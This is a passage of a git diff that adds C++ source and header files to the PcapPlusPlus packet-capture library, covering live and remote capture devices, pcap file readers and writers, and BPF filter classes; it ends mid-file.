+ static PcapLiveDevice* getPcapLiveDeviceByIp(IPv4Address ipAddr); + static PcapLiveDevice* getPcapLiveDeviceByIp(IPv6Address ip6Addr); + static PcapLiveDevice* getPcapLiveDeviceByIp(const char* ipAddrAsString); +}; + +#endif diff --git a/Pcap++/header/PcapRemoteDevice.h b/Pcap++/header/PcapRemoteDevice.h new file mode 100644 index 0000000000..ac42a04cb6 --- /dev/null +++ b/Pcap++/header/PcapRemoteDevice.h @@ -0,0 +1,46 @@ +#ifndef PCAPPP_PCAP_REMOTE_DEVICE +#define PCAPPP_PCAP_REMOTE_DEVICE + +#ifdef WIN32 + +#include +#include + +using namespace std; + +struct pcap_rmtauth; + +struct PcapRemoteAuthentication +{ + PcapRemoteAuthentication(const char* username, const char* passwd) { userName = (char*)username; password = (char*)passwd; } + char* userName; + char* password; +}; + +class PcapRemoteDevice : public PcapLiveDevice +{ + friend class PcapRemoteDeviceList; +private: + string m_RemoteMachineIpAddress; + uint16_t m_RemoteMachinePort; + pcap_rmtauth* m_pRemoteAuthentication; + + PcapRemoteDevice(pcap_if_t* pInterface, pcap_rmtauth* pRemoteAuthentication); + static void* remoteDeviceCaptureThreadMain(void *ptr); + + //overridden methods + ThreadStart getCaptureThreadStart(); +public: + virtual ~PcapRemoteDevice(); + + string getRemoteMachineIpAddress() { return m_RemoteMachineIpAddress; } + uint16_t getRemoteMachinePort() { return m_RemoteMachinePort; } + + //overridden methods + virtual bool open(); + void getStatistics(pcap_stat& stats); +}; + +#endif // WIN32 + +#endif /* PCAPPP_PCAP_REMOTE_DEVICE */ diff --git a/Pcap++/header/PcapRemoteDeviceList.h b/Pcap++/header/PcapRemoteDeviceList.h new file mode 100644 index 0000000000..88e2095350 --- /dev/null +++ b/Pcap++/header/PcapRemoteDeviceList.h @@ -0,0 +1,32 @@ +#ifndef PCAPP_PCAP_REMOTE_DEVICE_LIST +#define PCAPP_PCAP_REMOTE_DEVICE_LIST + +#ifdef WIN32 + +#include +#include + +class PcapRemoteDeviceList : public vector +{ +private: + string m_RemoteMachineIpAddress; + uint16_t m_RemoteMachinePort; + pcap_rmtauth* m_pRemoteAuthentication; +public: + ~PcapRemoteDeviceList(); + + static const bool getRemoteDeviceList(string ipAddress, uint16_t port, PcapRemoteDeviceList& resultList); + static const bool getRemoteDeviceList(string ipAddress, uint16_t port, PcapRemoteAuthentication* pRemoteAuth, PcapRemoteDeviceList& resultList); + + string getRemoteMachineIpAddress() { return m_RemoteMachineIpAddress; } + uint16_t getRemoteMachinePort() { return m_RemoteMachinePort; } + + PcapRemoteDevice* getRemoteDeviceByIP(IPv4Address ip4Addr); + PcapRemoteDevice* getRemoteDeviceByIP(IPv6Address ip6Addr); + PcapRemoteDevice* getRemoteDeviceByIP(IPAddress* pIPAddr); + PcapRemoteDevice* getRemoteDeviceByIP(const char* ipAddrAsString); +}; + +#endif // WIN32 + +#endif /* PCAPP_PCAP_REMOTE_DEVICE_LIST */ diff --git a/Pcap++/header/PlatformSpecificUtils.h b/Pcap++/header/PlatformSpecificUtils.h new file mode 100644 index 0000000000..47ab61930a --- /dev/null +++ b/Pcap++/header/PlatformSpecificUtils.h @@ -0,0 +1,14 @@ +#ifndef PCAPPP_PLATFORM_SPECIFIC_UTILS +#define PCAPPP_PLATFORM_SPECIFIC_UTILS + +#ifdef WIN32 +#include +#endif + +#ifdef WIN32 +#define PCAP_SLEEP(seconds) Sleep(seconds*1000) +#else +#define PCAP_SLEEP(seconds) sleep(seconds) +#endif + +#endif /* PCAPPP_PLATFORM_SPECIFIC_UTILS */ diff --git a/Pcap++/header/WinPcapLiveDevice.h b/Pcap++/header/WinPcapLiveDevice.h new file mode 100644 index 0000000000..1649b81d85 --- /dev/null +++ b/Pcap++/header/WinPcapLiveDevice.h @@ -0,0 +1,30 @@ +#ifndef PCAPP_WINPCAP_LIVE_DEVICE +#define PCAPP_WINPCAP_LIVE_DEVICE + +#ifdef WIN32 + +#include + +class WinPcapLiveDevice : public PcapLiveDevice +{ + friend class PcapLiveDeviceList; +protected: + int m_MinAmountOfDataToCopyFromKernelToApplication; + //WinPcapLiveDevice(); + WinPcapLiveDevice(pcap_if_t* pInterface, bool calculateMTU); +public: + virtual LiveDeviceType getDeviceType() { return WinPcapDevice; } + + bool startCapture(OnPacketArrivesCallback onPacketArrives, void* onPacketArrivesUserCookie, int intervalInSecondsToUpdateStats, OnStatsUpdateCallback onStatsUpdate, void* onStatsUpdateUsrrCookie); + bool startCapture(int intervalInSecondsToUpdateStats, OnStatsUpdateCallback onStatsUpdate, void* onStatsUpdateUserCookie); + bool startCapture(vector* pCapturedPacketsVector) { return PcapLiveDevice::startCapture(pCapturedPacketsVector); } + + virtual int sendPackets(RawPacket* rawPacketsArr, int arrLength); + + bool setMinAmountOfDataToCopyFromKernelToApplication(int size); + int getMinAmountOfDataToCopyFromKernelToApplication() { return m_MinAmountOfDataToCopyFromKernelToApplication; } +}; + +#endif // WIN32 + +#endif /* PCAPP_WINPCAP_LIVE_DEVICE */ diff --git a/Pcap++/src/PcapDevice.cpp b/Pcap++/src/PcapDevice.cpp new file mode 100644 index 0000000000..6021212121 --- /dev/null +++ b/Pcap++/src/PcapDevice.cpp @@ -0,0 +1,53 @@ +#include +#include +#include + +IPcapDevice::~IPcapDevice() +{ +} + +bool IPcapDevice::setFilter(string filterAsString) +{ + LOG_DEBUG("Filter to be set: '%s'", filterAsString.c_str()); + if (!m_DeviceOpened) + { + LOG_ERROR("Device not Opened!! cannot set filter"); + return false; + } + + struct bpf_program prog; + LOG_DEBUG("Compiling the filter '%s'", filterAsString.c_str()); + if (pcap_compile(m_pPcapDescriptor, &prog, filterAsString.c_str(), 1, 0) < 0) + { + /* + * Print out appropriate text, followed by the error message + * generated by the packet capture library. + */ + LOG_ERROR("Error compiling filter. Error message is: %s", pcap_geterr(m_pPcapDescriptor)); + return false; + } + + LOG_DEBUG("Setting the compiled filter"); + if (pcap_setfilter(m_pPcapDescriptor, &prog) < 0) + { + /* + * Print out error. The format will be the prefix string, + * created above, followed by the error message that the packet + * capture library generates. + */ + LOG_ERROR("Error setting a compiled filter. Error message is: %s", pcap_geterr(m_pPcapDescriptor)); + return false; + } + + LOG_DEBUG("Filter set successfully"); + + return true; +} + +bool IPcapDevice::setFilter(GeneralFilter& filter) +{ + string filterAsString; + filter.parseToString(filterAsString); + return setFilter(filterAsString); +} + diff --git a/Pcap++/src/PcapFileDevice.cpp b/Pcap++/src/PcapFileDevice.cpp new file mode 100644 index 0000000000..654031587d --- /dev/null +++ b/Pcap++/src/PcapFileDevice.cpp @@ -0,0 +1,176 @@ +#define LOG_MODULE PcapLogModuleFileDevice + +#include +#include +#include + +IPcapFileDevice::IPcapFileDevice(const char* pFileName) : IPcapDevice() +{ + m_pFileName = new char[strlen(pFileName)+1]; + strcpy(m_pFileName, pFileName); +} + +IPcapFileDevice::~IPcapFileDevice() +{ + close(); + delete[] m_pFileName; +} + +void IPcapFileDevice::close() +{ + if (m_pPcapDescriptor == NULL) + { + LOG_DEBUG("Pcap descriptor already NULL. Nothing to do"); + return; + } + + pcap_close(m_pPcapDescriptor); + LOG_DEBUG("Successfully closed file reader device for filename '%s'", m_pFileName); + m_pPcapDescriptor = NULL; +} + +PcapFileReaderDevice::PcapFileReaderDevice(const char* pFileName) : IPcapFileDevice(pFileName) +{ + m_NumOfPacketsNotParsed = 0; + m_NumOfPacketsRead = 0; +} + +PcapFileReaderDevice::~PcapFileReaderDevice() +{ +} + +//TODO: look at: http://savagelook.com/blog/code/offline-packet-capture-processing-with-cc-and-libpcap +bool PcapFileReaderDevice::open() +{ + m_NumOfPacketsRead = 0; + m_NumOfPacketsNotParsed = 0; + + if (m_pPcapDescriptor != NULL) + { + LOG_DEBUG("Pcap descriptor already opened. Nothing to do"); + return true; + } + + char errbuf[PCAP_ERRBUF_SIZE]; + m_pPcapDescriptor = pcap_open_offline(m_pFileName, errbuf); + if (m_pPcapDescriptor == NULL) + { + LOG_ERROR("Cannot open file reader device for filename '%s': %s", m_pFileName, errbuf); + m_DeviceOpened = false; + return false; + } + + LOG_DEBUG("Successfully opened file reader device for filename '%s'", m_pFileName); + m_DeviceOpened = true; + return true; +} + +void PcapFileReaderDevice::getStatistics(pcap_stat& stats) +{ + stats.ps_recv = m_NumOfPacketsRead; + stats.ps_drop = m_NumOfPacketsNotParsed; + stats.ps_ifdrop = 0; + LOG_DEBUG("Statistics received for reader device for filename '%s'", m_pFileName); +} + +bool PcapFileReaderDevice::getNextPacket(RawPacket& rRawPacket) +{ + rRawPacket.clear(); + if (m_pPcapDescriptor == NULL) + { + LOG_ERROR("File device '%s' not opened", m_pFileName); + return false; + } + pcap_pkthdr pkthdr; + const uint8_t* pPacketData = pcap_next(m_pPcapDescriptor, &pkthdr); + if (pPacketData == NULL) + { + LOG_DEBUG("Packet could not be read. Probably end-of-file"); + return false; + } + + uint8_t* pMyPacketData = new uint8_t[pkthdr.caplen]; + memcpy(pMyPacketData, pPacketData, pkthdr.caplen); + rRawPacket.setRawData(pMyPacketData, pkthdr.caplen, pkthdr.ts); + m_NumOfPacketsRead++; + return true; +} + +PcapFileWriterDevice::PcapFileWriterDevice(const char* pFileName) : IPcapFileDevice(pFileName) +{ + m_pPcapDumpHandler = NULL; + m_NumOfPacketsNotWritten = 0; + m_NumOfPacketsWritten = 0; +} + +PcapFileWriterDevice::~PcapFileWriterDevice() +{ +} + +bool PcapFileWriterDevice::writePacket(RawPacket const& packet) +{ + if ((m_pPcapDescriptor == NULL) || (m_pPcapDumpHandler == NULL)) + { + LOG_ERROR("Device not opened"); + m_NumOfPacketsNotWritten++; + return false; + } + + pcap_pkthdr pktHdr; + pktHdr.caplen = ((RawPacket&)packet).getRawDataLen(); + pktHdr.len = ((RawPacket&)packet).getRawDataLen(); + pktHdr.ts = ((RawPacket&)packet).getPacketTimeStamp(); + pcap_dump((uint8_t*)m_pPcapDumpHandler, &pktHdr, ((RawPacket&)packet).getRawData()); + LOG_DEBUG("Packet written successfully to '%s'", m_pFileName); + m_NumOfPacketsWritten++; + return true; +} + +bool PcapFileWriterDevice::open() +{ + m_NumOfPacketsNotWritten = 0; + m_NumOfPacketsWritten = 0; + + m_pPcapDescriptor = pcap_open_dead(1 /*Ethernet*/, MAX_PACKET_SIZE); + if (m_pPcapDescriptor == NULL) + { + LOG_ERROR("Error opening file writer device for file '%s': pcap_open_dead returned NULL", m_pFileName); + m_DeviceOpened = false; + return false; + } + + + m_pPcapDumpHandler = pcap_dump_open(m_pPcapDescriptor, m_pFileName); + if (m_pPcapDumpHandler == NULL) + { + LOG_ERROR("Error opening file writer device for file '%s': pcap_dump_open returned NULL", m_pFileName); + m_DeviceOpened = false; + return false; + } + + m_DeviceOpened = true; + LOG_DEBUG("File writer device for file '%s' opened successfully", m_pFileName); + return true; +} + +void PcapFileWriterDevice::close() +{ + if (pcap_dump_flush(m_pPcapDumpHandler) == -1) + { + LOG_ERROR("Error while flushing the packets to file"); + } + + IPcapFileDevice::close(); + + pcap_dump_close(m_pPcapDumpHandler); + m_pPcapDumpHandler = NULL; + LOG_DEBUG("File writer closed for file '%s'", m_pFileName); +} + +void PcapFileWriterDevice::getStatistics(pcap_stat& stats) +{ + stats.ps_recv = m_NumOfPacketsWritten; + stats.ps_drop = m_NumOfPacketsNotWritten; + stats.ps_ifdrop = 0; + LOG_DEBUG("Statistics received for writer device for filename '%s'", m_pFileName); +} diff --git a/Pcap++/src/PcapFilter.cpp b/Pcap++/src/PcapFilter.cpp new file mode 100644 index 0000000000..70618d3b9a --- /dev/null +++ b/Pcap++/src/PcapFilter.cpp @@ -0,0 +1,135 @@ +#define LOG_MODULE PcapLogModuleLiveDevice + +#include "PcapFilter.h" +#include "Logger.h" +#include + +GeneralFilter::~GeneralFilter() +{ +} + +void IFilterWithDirection::parseDirection(string& directionAsString) +{ + switch (m_Dir) + { + case SRC: + directionAsString = "src"; + break; + case DST: + directionAsString = "dst"; + break; + default: //SRC_OR_DST: + directionAsString = "src or dst"; + break; + } +} + +IPFilter::IPFilter(string& ipAddress, Direction dir) : IFilterWithDirection(dir) +{ + m_Address = ipAddress; +} + +void IPFilter::parseToString(string& result) +{ + string dir; + parseDirection(dir); + result = dir + " net " + m_Address; +} + +void PortFilter::portToString(uint16_t portAsInt) +{ + ostringstream stream; + stream << portAsInt; + m_Port = stream.str(); +} + +PortFilter::PortFilter(uint16_t port, Direction dir) : IFilterWithDirection(dir) +{ + portToString(port); +} + +void PortFilter::parseToString(string& result) +{ + string dir; + parseDirection(dir); + result = dir + " port " + m_Port; +} + +AndFilter::AndFilter(vector& filters) +{ + for(vector::iterator it = filters.begin(); it != filters.end(); ++it) + { + m_xFilterList.push_back(*it); + } +} + +void AndFilter::parseToString(string& result) +{ + result = ""; + for(vector::iterator it = m_xFilterList.begin(); it != m_xFilterList.end(); ++it) + { + string innerFilter; + (*it)->parseToString(innerFilter); + result += "(" + innerFilter + ")"; + if (m_xFilterList.back() != *it) + { + result += " and "; + } + } +} + +OrFilter::OrFilter(vector& filters) +{ + for(vector::iterator it = filters.begin(); it != filters.end(); ++it) + { + m_xFilterList.push_back(*it); + } +} + +void OrFilter::parseToString(string& result) +{ + result = ""; + for(vector::iterator it = m_xFilterList.begin(); it != m_xFilterList.end(); ++it) + { + string innerFilter; + (*it)->parseToString(innerFilter); + result += "(" + innerFilter + ")"; + if (m_xFilterList.back() != *it) + { + result += " or "; + } + } +} + +void NotFilter::parseToString(string& result) +{ + string innerFilterAsString; + m_pFilterToInverse->parseToString(innerFilterAsString); + result = "not (" + innerFilterAsString + ")"; +} + +void ProtoFilter::parseToString(string& result) +{ + result = ""; + switch (m_Proto) + { + case TCP: + result += "tcp"; + break; + case UDP: + result += "udp"; + break; + case ICMP: + result += "icmp"; + break; + default: + break; + } +} + +void ArpFilter::parseToString(string& result) +{ + ostringstream sstream; + sstream << "arp[7] = " << m_OpCode; + result += sstream.str(); +} diff --git a/Pcap++/src/PcapLiveDevice.cpp b/Pcap++/src/PcapLiveDevice.cpp new file mode 100644 index 0000000000..16810a7942 --- /dev/null +++ b/Pcap++/src/PcapLiveDevice.cpp @@ -0,0 +1,511 @@ +#define LOG_MODULE PcapLogModuleLiveDevice + +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef WIN32 +#include +#include +#include +#else +#include +#include +#include +#endif + +struct PcapThread +{ + pthread_t pthread; +}; + +PcapLiveDevice::PcapLiveDevice(pcap_if_t* pInterface, bool calculateMTU) : IPcapDevice(), + m_xMacAddress("") +{ + m_pName = NULL; + m_pDescription = NULL; + m_DeviceMtu = 0; + + m_IsLoopback = (pInterface->flags & 0x1) == PCAP_IF_LOOPBACK; + + int strLength = strlen(pInterface->name)+1; + m_pName = new char[strLength]; + strncpy((char*)m_pName, pInterface->name, strLength); + + strLength = 1; + if (pInterface->description != NULL) + strLength += strlen(pInterface->description); + m_pDescription = new char[strLength]; + if (pInterface->description != NULL) + strncpy((char*)m_pDescription, pInterface->description, strLength); + else + strncpy((char*)m_pDescription, "", strLength); + LOG_DEBUG("Added live device: name=%s; desc=%s", m_pName, m_pDescription); + LOG_DEBUG(" Addresses:"); + while (pInterface->addresses != NULL) + { + m_xAddresses.insert(m_xAddresses.end(), *(pInterface->addresses)); + pInterface->addresses = pInterface->addresses->next; + if (LoggerPP::getInstance().isDebugEnabled(PcapLogModuleLiveDevice) && pInterface->addresses != NULL && pInterface->addresses->addr != NULL) + { + char addrAsString[INET6_ADDRSTRLEN]; + sockaddr2string(pInterface->addresses->addr, addrAsString); + LOG_DEBUG(" %s", addrAsString); + } + } + + if (calculateMTU) + { + setDeviceMtu(); + LOG_DEBUG(" MTU: %d", m_DeviceMtu); + } + + //init all other members + m_CaptureThreadStarted = false; + m_StatsThreadStarted = false; m_IsLoopback = false; + m_StopThread = false; + m_pCaptureThread = new PcapThread(); + m_pStatsThread = new PcapThread(); + memset(m_pCaptureThread, 0, sizeof(PcapThread)); + memset(m_pStatsThread, 0, sizeof(PcapThread)); + m_cbOnPacketArrives = NULL; + m_cbOnStatsUpdate = NULL; + m_IntervalToUpdateStats = 0; + m_cbOnPacketArrivesUserCookie = NULL; + m_cbOnStatsUpdateUserCookie = NULL; + m_CaptureCallbackMode = true; + m_pCapturedPackets = NULL; + setDeviceMacAddress(); + if (m_xMacAddress.isValid()) + LOG_DEBUG(" MAC addr: %s", m_xMacAddress.toString().c_str()); +} + +void PcapLiveDevice::onPacketArrives(uint8_t *user, const struct pcap_pkthdr *pkthdr, const uint8_t *packet) +{ + PcapLiveDevice* pThis = (PcapLiveDevice*)user; + if (pThis == NULL) + { + LOG_ERROR("Unable to extract PcapLiveDevice instance"); + return; + } + + RawPacket rawPacket(packet, pkthdr->caplen, pkthdr->ts, false); + + if (pThis->m_cbOnPacketArrives != NULL) + pThis->m_cbOnPacketArrives(&rawPacket, pThis, pThis->m_cbOnPacketArrivesUserCookie); +} + +void PcapLiveDevice::onPacketArrivesNoCallback(uint8_t *user, const struct pcap_pkthdr *pkthdr, const uint8_t *packet) +{ + PcapLiveDevice* pThis = (PcapLiveDevice*)user; + if (pThis == NULL) + { + LOG_ERROR("Unable to extract PcapLiveDevice instance"); + return; + } + + RawPacket* pRawPacket = new RawPacket(packet, pkthdr->caplen, pkthdr->ts, false); + pThis->m_pCapturedPackets->push_back(pRawPacket); +} + +void* PcapLiveDevice::captureThreadMain(void *ptr) +{ + PcapLiveDevice* pThis = (PcapLiveDevice*)ptr; + if (pThis == NULL) + { + LOG_ERROR("Capture thread: Unable to extract PcapLiveDevice instance"); + return 0; + } + + LOG_DEBUG("Started capture thread for device '%s'", pThis->m_pName); + if (pThis->m_CaptureCallbackMode) + { + while (!pThis->m_StopThread) + pcap_dispatch(pThis->m_pPcapDescriptor, -1, onPacketArrives, (uint8_t*)pThis); + } + else + { + while (!pThis->m_StopThread) + pcap_dispatch(pThis->m_pPcapDescriptor, 100, onPacketArrivesNoCallback, (uint8_t*)pThis); + + } + LOG_DEBUG("Ended capture thread for device '%s'", pThis->m_pName); + return 0; +} + +void* PcapLiveDevice::statsThreadMain(void *ptr) +{ + PcapLiveDevice* pThis = (PcapLiveDevice*)ptr; + if (pThis == NULL) + { + LOG_ERROR("Stats thread: Unable to extract PcapLiveDevice instance"); + return 0; + } + + LOG_DEBUG("Started stats thread for device '%s'", pThis->m_pName); + while (!pThis->m_StopThread) + { + pcap_stat stats; + pThis->getStatistics(stats); + pThis->m_cbOnStatsUpdate(stats, pThis->m_cbOnStatsUpdateUserCookie); + PCAP_SLEEP(pThis->m_IntervalToUpdateStats); + } + LOG_DEBUG("Ended stats thread for device '%s'", pThis->m_pName); + return 0; +} + +bool PcapLiveDevice::open(DeviceMode mode) +{ + char errbuf[PCAP_ERRBUF_SIZE]; + m_pPcapDescriptor = pcap_open_live(m_pName, BUFSIZ, mode, -1, errbuf); + if (m_pPcapDescriptor == NULL) + { + LOG_ERROR("%s", errbuf); + m_DeviceOpened = false; + return false; + } + + LOG_DEBUG("Device '%s' opened", m_pName); + + m_DeviceOpened = true; + return true; +} + +bool PcapLiveDevice::open() +{ + return open(Promiscuous); +} + +void PcapLiveDevice::close() +{ + if (m_pPcapDescriptor == NULL) + { + LOG_DEBUG("Device '%s' already closed", m_pName); + return; + } + pcap_close(m_pPcapDescriptor); + LOG_DEBUG("Device '%s' closed", m_pName); +} + +bool PcapLiveDevice::startCapture(OnPacketArrivesCallback onPacketArrives, void* onPacketArrivesUserCookie) +{ + return startCapture(onPacketArrives, onPacketArrivesUserCookie, 0, NULL, NULL); +} + +bool PcapLiveDevice::startCapture(int intervalInSecondsToUpdateStats, OnStatsUpdateCallback onStatsUpdate, void* onStatsUpdateUserCookie) +{ + return startCapture(NULL, NULL, intervalInSecondsToUpdateStats, onStatsUpdate, onStatsUpdateUserCookie); +} + +bool PcapLiveDevice::startCapture(OnPacketArrivesCallback onPacketArrives, void* onPacketArrivesUserCookie, int intervalInSecondsToUpdateStats, OnStatsUpdateCallback onStatsUpdate, void* onStatsUpdateUserCookie) +{ + m_IntervalToUpdateStats = intervalInSecondsToUpdateStats; + + if (m_CaptureThreadStarted || m_pPcapDescriptor == NULL) + { + LOG_ERROR("Device '%s' already capturing or not opened", m_pName); + return false; + } + + m_CaptureCallbackMode = true; + m_cbOnPacketArrives = onPacketArrives; + m_cbOnPacketArrivesUserCookie = onPacketArrivesUserCookie; + int err = pthread_create(&(m_pCaptureThread->pthread), NULL, getCaptureThreadStart(), (void*)this); + if (err != 0) + { + LOG_ERROR("Cannot create LiveCapture thread for device '%s': [%s]", m_pName, strerror(err)); + return false; + } + m_CaptureThreadStarted = true; + LOG_DEBUG("Successfully created capture thread for device '%s'. Thread id: %s", m_pName, printThreadId(m_pCaptureThread).c_str()); + + if (onStatsUpdate != NULL && intervalInSecondsToUpdateStats > 0) + { + m_cbOnStatsUpdate = onStatsUpdate; + m_cbOnStatsUpdateUserCookie = onStatsUpdateUserCookie; + int err = pthread_create(&(m_pStatsThread->pthread), NULL, &statsThreadMain, (void*)this); + if (err != 0) + { + LOG_ERROR("Cannot create LiveCapture Statistics thread for device '%s': [%s]", m_pName, strerror(err)); + return false; + } + m_StatsThreadStarted = true; + LOG_DEBUG("Successfully created stats thread for device '%s'. Thread id: %s", m_pName, printThreadId(m_pStatsThread).c_str()); + } + + return true; +} + +bool PcapLiveDevice::startCapture(vector* pCapturedPacketsVector) +{ + m_pCapturedPackets = pCapturedPacketsVector; + m_pCapturedPackets->clear(); + + if (m_CaptureThreadStarted || m_pPcapDescriptor == NULL) + { + LOG_ERROR("Device '%s' already capturing or not opened", m_pName); + return false; + } + + m_CaptureCallbackMode = false; + int err = pthread_create(&(m_pCaptureThread->pthread), NULL, getCaptureThreadStart(), (void*)this); + if (err != 0) + { + LOG_ERROR("Cannot create LiveCapture thread for device '%s': [%s]", m_pName, strerror(err)); + return false; + } + m_CaptureThreadStarted = true; + LOG_DEBUG("Successfully created capture thread for device '%s'. Thread id: %s", m_pName, printThreadId(m_pCaptureThread).c_str()); + + return true; +} + +void PcapLiveDevice::stopCapture() +{ + m_StopThread = true; + LOG_DEBUG("Stopping capture thread, waiting for it to join..."); + pthread_join(m_pCaptureThread->pthread, NULL); + m_CaptureThreadStarted = false; + LOG_DEBUG("Capture thread stopped for device '%s'", m_pName); + if (m_StatsThreadStarted) + { + LOG_DEBUG("Stopping stats thread, waiting for it to join..."); + pthread_join(m_pStatsThread->pthread, NULL); + m_StatsThreadStarted = false; + LOG_DEBUG("Stats thread stopped for device '%s'", m_pName); + } + PCAP_SLEEP(1); + m_StopThread = false; +} + +void PcapLiveDevice::getStatistics(pcap_stat& stats) +{ + if(pcap_stats(m_pPcapDescriptor, &stats) < 0) + { + LOG_ERROR("Error getting statistics from live device '%s'", m_pName); + } +} + +bool PcapLiveDevice::sendPacket(RawPacket const& rawPacket) +{ + return sendPacket(((RawPacket&)rawPacket).getRawData(), ((RawPacket&)rawPacket).getRawDataLen()); +} + +bool PcapLiveDevice::sendPacket(const uint8_t* packetData, int packetDataLength) +{ + if (!m_DeviceOpened) + { + LOG_ERROR("Device '%s' not opened!", m_pName); + return false; + } + + if (packetDataLength == 0) + { + LOG_ERROR("Trying to send a packet with length 0"); + return false; + } + + if (packetDataLength > m_DeviceMtu) + { + LOG_ERROR("Packet length [%d] is larger than device MTU [%d]\n", packetDataLength, m_DeviceMtu); + return false; + } + + if (pcap_sendpacket(m_pPcapDescriptor, packetData, packetDataLength) == -1) + { + LOG_ERROR("Error sending packet: %s\n", pcap_geterr(m_pPcapDescriptor)); + return false; + } + + LOG_DEBUG("Packet sent successfully. Packet length: %d", packetDataLength); + return true; +} + +bool PcapLiveDevice::sendPacket(Packet* packet) +{ + RawPacket* rawPacket = packet->getRawPacket(); + return sendPacket(*rawPacket); +} + +int PcapLiveDevice::sendPackets(RawPacket* rawPacketsArr, int arrLength) +{ + int packetsSent = 0; + for (int i = 0; i < arrLength; i++) + { + if (sendPacket(rawPacketsArr[i])) + packetsSent++; + } + + LOG_DEBUG("%d packets sent successfully. %d packets not sent", packetsSent, arrLength-packetsSent); + return packetsSent; +} + +int PcapLiveDevice::sendPackets(Packet** packetsArr, int arrLength) +{ + int packetsSent = 0; + for (int i = 0; i < arrLength; i++) + { + if (sendPacket(packetsArr[i])) + packetsSent++; + } + + LOG_DEBUG("%d packets sent successfully. %d packets not sent", packetsSent, arrLength-packetsSent); + return packetsSent; +} + +string PcapLiveDevice::printThreadId(PcapThread* id) +{ + size_t i; + string result(""); + pthread_t pthread = id->pthread; + for (i = sizeof(pthread); i; --i) + { + char currByte[3]; + snprintf(currByte, 3, "%02x", *(((unsigned char*) &pthread) + i - 1)); + result += currByte; + } + + return result; +} + +void PcapLiveDevice::setDeviceMtu() +{ +#ifdef WIN32 + + uint32_t mtuValue = 0; + LPADAPTER pAdapter = PacketOpenAdapter((char*)m_pName); + if (pAdapter == NULL) + { + LOG_ERROR("Error in retrieving MTU: Adapter is NULL"); + return; + } + PACKET_OID_DATA oidData; + oidData.Oid = OID_GEN_MAXIMUM_TOTAL_SIZE; + oidData.Length = sizeof(uint32_t); + memcpy(oidData.Data, &mtuValue, sizeof(uint32_t)); + bool status = PacketRequest(pAdapter, false, &oidData); + if(status) + { + if(oidData.Length <= sizeof(uint32_t)) + { + /* copy value from driver */ + memcpy(&mtuValue, oidData.Data, oidData.Length); + m_DeviceMtu = mtuValue; + } else + { + /* the driver returned a value that is longer than expected (and longer than the given buffer) */ + LOG_ERROR("Error in retrieving MTU: Size of Oid larger than uint32_t, OidLen:%lu", oidData.Length); + return; + } + } + else + { + LOG_ERROR("Error in retrieving MTU: PacketRequest failed"); + } + +#else + struct ifreq ifr; + + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, m_pName, sizeof(ifr.ifr_name)); + + int socketfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP); + if (ioctl(socketfd, SIOCGIFMTU, &ifr) == -1) + { + LOG_DEBUG("Error in retrieving MTU: ioctl() returned -1"); + m_DeviceMtu = 0; + return; + } + + m_DeviceMtu = ifr.ifr_mtu; +#endif +} + +void PcapLiveDevice::setDeviceMacAddress() +{ +#ifdef WIN32 + + LPADAPTER pAdapter = PacketOpenAdapter((char*)m_pName); + if (pAdapter == NULL) + { + LOG_ERROR("Error in retrieving MAC address: Adapter is NULL"); + return; + } + PACKET_OID_DATA oidData; + oidData.Oid = OID_802_3_CURRENT_ADDRESS; + oidData.Length = 6; + oidData.Data[0] = 0; + bool status = PacketRequest(pAdapter, false, &oidData); + if(status) + { + if(oidData.Length == 6) + { + /* copy value from driver */ + m_xMacAddress = MacAddress(oidData.Data[0], oidData.Data[1], oidData.Data[2], oidData.Data[3], oidData.Data[4], oidData.Data[5]); + LOG_DEBUG(" MAC address: %s", m_xMacAddress.toString().c_str()); + } else + { + /* the driver returned a value that is longer than expected (and longer than the given buffer) */ + LOG_DEBUG("Error in retrieving MAC address: Size of Oid larger than 6, OidLen:%lu", oidData.Length); + return; + } + } + else + { + LOG_DEBUG("Error in retrieving MAC address: PacketRequest failed"); + } +#else + struct ifreq ifr; + + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, m_pName, sizeof(ifr.ifr_name)); + + int socketfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP); + if (ioctl(socketfd, SIOCGIFHWADDR, &ifr) == -1) + { + LOG_DEBUG("Error in retrieving MAC address: ioctl() returned -1"); + return; + } + + m_xMacAddress = MacAddress(ifr.ifr_hwaddr.sa_data[0], ifr.ifr_hwaddr.sa_data[1], ifr.ifr_hwaddr.sa_data[2], ifr.ifr_hwaddr.sa_data[3], ifr.ifr_hwaddr.sa_data[4], ifr.ifr_hwaddr.sa_data[5]); +#endif +} + +IPv4Address PcapLiveDevice::getIPv4Address() +{ + for(vector::iterator addrIter = m_xAddresses.begin(); addrIter != m_xAddresses.end(); addrIter++) + { + if (LoggerPP::getInstance().isDebugEnabled(PcapLogModuleLiveDevice) && addrIter->addr != NULL) + { + char addrAsString[INET6_ADDRSTRLEN]; + sockaddr2string(addrIter->addr, addrAsString); + LOG_DEBUG("Searching address %s", addrAsString); + } + + in_addr* currAddr = sockaddr2in_addr(addrIter->addr); + if (currAddr == NULL) + { + LOG_DEBUG("Address is NULL"); + continue; + } + + return IPv4Address(currAddr); + } + + return IPv4Address((uint32_t)0); +} + +ThreadStart PcapLiveDevice::getCaptureThreadStart() +{ + return &captureThreadMain; +} + +PcapLiveDevice::~PcapLiveDevice() +{ + delete m_pCaptureThread; + delete m_pStatsThread; +} diff --git a/Pcap++/src/PcapLiveDeviceList.cpp b/Pcap++/src/PcapLiveDeviceList.cpp new file mode 100644 index 0000000000..035a8b1304 --- /dev/null +++ b/Pcap++/src/PcapLiveDeviceList.cpp @@ -0,0 +1,158 @@ +#define LOG_MODULE PcapLogModuleLiveDevice + +#include +#include +#include +#include +#ifdef WIN32 +#include +#endif + + +bool PcapLiveDeviceList::m_IsInitialized = false; +vector PcapLiveDeviceList::m_xLiveDeviceList; + + +const vector& PcapLiveDeviceList::getPcapLiveDevicesList() +{ + if (PcapLiveDeviceList::m_IsInitialized) + { + LOG_DEBUG("Device list already initialized"); + return PcapLiveDeviceList::m_xLiveDeviceList; + } + + pcap_if_t* interfaceList; + char errbuf[PCAP_ERRBUF_SIZE]; + int err = pcap_findalldevs(&interfaceList, errbuf); + if (err < 0) + { + LOG_ERROR("Error searching for devices: %s", errbuf); + return PcapLiveDeviceList::m_xLiveDeviceList; + } + + pcap_if_t* currInterface = interfaceList; + while (currInterface != NULL) + { +#ifdef WIN32 + PcapLiveDevice* pDev = new WinPcapLiveDevice(currInterface, true); +#else //LINUX + 